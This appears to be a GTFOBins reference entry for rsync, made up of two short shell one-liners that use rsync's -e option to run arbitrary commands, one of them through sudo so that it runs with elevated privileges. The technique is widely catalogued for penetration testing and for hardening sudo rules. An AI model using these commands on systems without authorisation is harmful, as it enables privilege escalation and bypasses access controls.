GTFOBins.github.io/_gtfobins/rsync.md
2018-08-17 17:16:09 +02:00

341 B

functions
execute-non-interactive sudo-enabled
code
echo "whoami > /tmp/whoami" > /tmp/tmpfile rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null
code
echo "whoami > /tmp/whoami" > /tmp/tmpfile sudo rsync -e 'sh /tmp/tmpfile' /dev/null 127.0.0.1:/dev/null 2>/dev/null